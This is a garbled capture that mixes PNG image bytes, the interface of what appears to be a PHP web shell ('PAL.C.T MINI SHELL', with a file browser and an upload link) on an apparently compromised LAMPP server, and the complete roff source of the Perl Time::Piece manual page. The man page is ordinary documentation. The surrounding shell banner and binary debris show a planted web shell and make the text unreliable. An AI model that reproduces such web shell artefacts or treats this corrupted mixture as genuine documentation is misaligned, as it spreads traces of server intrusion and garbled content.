php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/lampp/share/man/man3/
upload
files >> //opt/lampp/share/man/man3/Time::Piece.3

.\" Automatically generated by Pod::Man 2.25 (Pod::Simple 3.20)
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  \*(C+ will
.\" give a nicer C++.  Capital omega is used to do unbreakable dashes and
.\" therefore won't be available.  \*(C` and \*(C' expand to `' in nroff,
.\" nothing in troff, for use with C<>.
.tr \(*W-
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" Escape single quotes in literal strings from groff's Unicode transform.
.ie \n(.g .ds Aq \(aq
.el       .ds Aq '
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.ie \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.el \{\
.    de IX
..
.\}
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "Time::Piece 3"
.TH Time::Piece 3 "2013-03-04" "perl v5.16.3" "Perl Programmers Reference Guide"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.if n .ad l
.nh
.SH "NAME"
Time::Piece \- Object Oriented time objects
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
.Vb 1
\&    use Time::Piece;
\&    
\&    my $t = localtime;
\&    print "Time is $t\en";
\&    print "Year is ", $t\->year, "\en";
.Ve
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
This module replaces the standard localtime and gmtime functions with
implementations that return objects. It does so in a backwards
compatible manner, so that using localtime/gmtime in the way documented
in perlfunc will still return what you expect.
.PP
The module actually implements most of an interface described by
Larry Wall on the perl5\-porters mailing list here:
http://www.xray.mpe.mpg.de/mailing\-lists/perl5\-porters/2000\-01/msg00241.html
.SH "USAGE"
.IX Header "USAGE"
After importing this module, when you use localtime or gmtime in a scalar
context, rather than getting an ordinary scalar string representing the
date and time, you get a Time::Piece object, whose stringification happens
to produce the same effect as the localtime and gmtime functions. There is 
also a \fInew()\fR constructor provided, which is the same as \fIlocaltime()\fR, except
when passed a Time::Piece object, in which case it's a copy constructor. The
following methods are available on the object:
.PP
.Vb 10
\&    $t\->sec                 # also available as $t\->second
\&    $t\->min                 # also available as $t\->minute
\&    $t\->hour                # 24 hour
\&    $t\->mday                # also available as $t\->day_of_month
\&    $t\->mon                 # 1 = January
\&    $t\->_mon                # 0 = January
\&    $t\->monname             # Feb
\&    $t\->month               # same as $t\->monname
\&    $t\->fullmonth           # February
\&    $t\->year                # based at 0 (year 0 AD is, of course 1 BC)
\&    $t\->_year               # year minus 1900
\&    $t\->yy                  # 2 digit year
\&    $t\->wday                # 1 = Sunday
\&    $t\->_wday               # 0 = Sunday
\&    $t\->day_of_week         # 0 = Sunday
\&    $t\->wdayname            # Tue
\&    $t\->day                 # same as wdayname
\&    $t\->fullday             # Tuesday
\&    $t\->yday                # also available as $t\->day_of_year, 0 = Jan 01
\&    $t\->isdst               # also available as $t\->daylight_savings
\&
\&    $t\->hms                 # 12:34:56
\&    $t\->hms(".")            # 12.34.56
\&    $t\->time                # same as $t\->hms
\&
\&    $t\->ymd                 # 2000\-02\-29
\&    $t\->date                # same as $t\->ymd
\&    $t\->mdy                 # 02\-29\-2000
\&    $t\->mdy("/")            # 02/29/2000
\&    $t\->dmy                 # 29\-02\-2000
\&    $t\->dmy(".")            # 29.02.2000
\&    $t\->datetime            # 2000\-02\-29T12:34:56 (ISO 8601)
\&    $t\->cdate               # Tue Feb 29 12:34:56 2000
\&    "$t"                    # same as $t\->cdate
\&
\&    $t\->epoch               # seconds since the epoch
\&    $t\->tzoffset            # timezone offset in a Time::Seconds object
\&
\&    $t\->julian_day          # number of days since Julian period began
\&    $t\->mjd                 # modified Julian date (JD\-2400000.5 days)
\&
\&    $t\->week                # week number (ISO 8601)
\&
\&    $t\->is_leap_year        # true if it its
\&    $t\->month_last_day      # 28\-31
\&
\&    $t\->time_separator($s)  # set the default separator (default ":")
\&    $t\->date_separator($s)  # set the default separator (default "\-")
\&    $t\->day_list(@days)     # set the default weekdays
\&    $t\->mon_list(@days)     # set the default months
\&
\&    $t\->strftime(FORMAT)    # same as POSIX::strftime (without the overhead
\&                            # of the full POSIX extension)
\&    $t\->strftime()          # "Tue, 29 Feb 2000 12:34:56 GMT"
\&    
\&    Time::Piece\->strptime(STRING, FORMAT)
\&                            # see strptime man page. Creates a new
\&                            # Time::Piece object
.Ve
.SS "Local Locales"
.IX Subsection "Local Locales"
Both wdayname (day) and monname (month) allow passing in a list to use
to index the name of the days against. This can be useful if you need
to implement some form of localisation without actually installing or
using locales.
.PP
.Vb 1
\&  my @days = qw( Dimanche Lundi Merdi Mercredi Jeudi Vendredi Samedi );
\&
\&  my $french_day = localtime\->day(@days);
.Ve
.PP
These settings can be overriden globally too:
.PP
.Vb 1
\&  Time::Piece::day_list(@days);
.Ve
.PP
Or for months:
.PP
.Vb 1
\&  Time::Piece::mon_list(@months);
.Ve
.PP
And locally for months:
.PP
.Vb 1
\&  print localtime\->month(@months);
.Ve
.SS "Date Calculations"
.IX Subsection "Date Calculations"
It's possible to use simple addition and subtraction of objects:
.PP
.Vb 1
\&    use Time::Seconds;
\&    
\&    my $seconds = $t1 \- $t2;
\&    $t1 += ONE_DAY; # add 1 day (constant from Time::Seconds)
.Ve
.PP
The following are valid ($t1 and \f(CW$t2\fR are Time::Piece objects):
.PP
.Vb 3
\&    $t1 \- $t2; # returns Time::Seconds object
\&    $t1 \- 42; # returns Time::Piece object
\&    $t1 + 533; # returns Time::Piece object
.Ve
.PP
However adding a Time::Piece object to another Time::Piece object
will cause a runtime error.
.PP
Note that the first of the above returns a Time::Seconds object, so
while examining the object will print the number of seconds (because
of the overloading), you can also get the number of minutes, hours,
days, weeks and years in that delta, using the Time::Seconds \s-1API\s0.
.PP
In addition to adding seconds, there are two APIs for adding months and
years:
.PP
.Vb 2
\&    $t\->add_months(6);
\&    $t\->add_years(5);
.Ve
.PP
The months and years can be negative for subtractions. Note that there
is some \*(L"strange\*(R" behaviour when adding and subtracting months at the
ends of months. Generally when the resulting month is shorter than the
starting month then the number of overlap days is added. For example
subtracting a month from 2008\-03\-31 will not result in 2008\-02\-31 as this
is an impossible date. Instead you will get 2008\-03\-02. This appears to
be consistent with other date manipulation tools.
.SS "Date Comparisons"
.IX Subsection "Date Comparisons"
Date comparisons are also possible, using the full suite of \*(L"<\*(R", \*(L">\*(R",
\&\*(L"<=\*(R", \*(L">=\*(R", \*(L"<=>\*(R", \*(L"==\*(R" and \*(L"!=\*(R".
.SS "Date Parsing"
.IX Subsection "Date Parsing"
Time::Piece has a built-in \fIstrptime()\fR function (from FreeBSD), allowing
you incredibly flexible date parsing routines. For example:
.PP
.Vb 2
\&  my $t = Time::Piece\->strptime("Sunday 3rd Nov, 1943",
\&                                "%A %drd %b, %Y");
\&  
\&  print $t\->strftime("%a, %d %b %Y");
.Ve
.PP
Outputs:
.PP
.Vb 1
\&  Wed, 03 Nov 1943
.Ve
.PP
(see, it's even smart enough to fix my obvious date bug)
.PP
For more information see \*(L"man strptime\*(R", which should be on all unix
systems.
.PP
Alternatively look here: http://www.unix.com/man\-page/FreeBSD/3/strftime/
.SS "YYYY\-MM\-DDThh:mm:ss"
.IX Subsection "YYYY-MM-DDThh:mm:ss"
The \s-1ISO\s0 8601 standard defines the date format to be YYYY-MM-DD, and
the time format to be hh:mm:ss (24 hour clock), and if combined, they
should be concatenated with date first and with a capital 'T' in front
of the time.
.SS "Week Number"
.IX Subsection "Week Number"
The \fIweek number\fR may be an unknown concept to some readers.  The \s-1ISO\s0
8601 standard defines that weeks begin on a Monday and week 1 of the
year is the week that includes both January 4th and the first Thursday
of the year.  In other words, if the first Monday of January is the
2nd, 3rd, or 4th, the preceding days of the January are part of the
last week of the preceding year.  Week numbers range from 1 to 53.
.SS "Global Overriding"
.IX Subsection "Global Overriding"
Finally, it's possible to override localtime and gmtime everywhere, by
including the ':override' tag in the import list:
.PP
.Vb 1
\&    use Time::Piece \*(Aq:override\*(Aq;
.Ve
.SH "CAVEATS"
.IX Header "CAVEATS"
.ie n .SS "Setting $ENV{\s-1TZ\s0} in Threads on Win32"
.el .SS "Setting \f(CW$ENV\fP{\s-1TZ\s0} in Threads on Win32"
.IX Subsection "Setting $ENV{TZ} in Threads on Win32"
Note that when using perl in the default build configuration on Win32
(specifically, when perl is built with \s-1PERL_IMPLICIT_SYS\s0), each perl
interpreter maintains its own copy of the environment and only the main
interpreter will update the process environment seen by strftime.
.PP
Therefore, if you make changes to \f(CW$ENV\fR{\s-1TZ\s0} from inside a thread other than
the main thread then those changes will not be seen by strftime if you
subsequently call that with the \f(CW%Z\fR formatting code. You must change \f(CW$ENV\fR{\s-1TZ\s0}
in the main thread to have the desired effect in this case (and you must
also call \fI_tzset()\fR in the main thread to register the environment change).
.PP
Furthermore, remember that this caveat also applies to \fIfork()\fR, which is
emulated by threads on Win32.
.SS "Use of epoch seconds"
.IX Subsection "Use of epoch seconds"
This module internally uses the epoch seconds system that is provided via
the perl \f(CW\*(C`time()\*(C'\fR function and supported by \f(CW\*(C`gmtime()\*(C'\fR and \f(CW\*(C`localtime()\*(C'\fR.
.PP
If your perl does not support times larger than \f(CW\*(C`2^31\*(C'\fR seconds then this
module is likely to fail at processing dates beyond the year 2038. There are
moves afoot to fix that in perl. Alternatively use 64 bit perl. Or if none
of those are options, use the DateTime module which has support for years
well into the future and past.
.SH "AUTHOR"
.IX Header "AUTHOR"
Matt Sergeant, matt@sergeant.org
Jarkko Hietaniemi, jhi@iki.fi (while creating Time::Piece for core perl)
.SH "License"
.IX Header "License"
This module is free software, you may distribute it under the same terms
as Perl.
.SH "SEE ALSO"
.IX Header "SEE ALSO"
The excellent Calendar \s-1FAQ\s0 at http://www.tondering.dk/claus/calendar.html
.SH "BUGS"
.IX Header "BUGS"
The test harness leaves much to be desired. Patches welcome.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`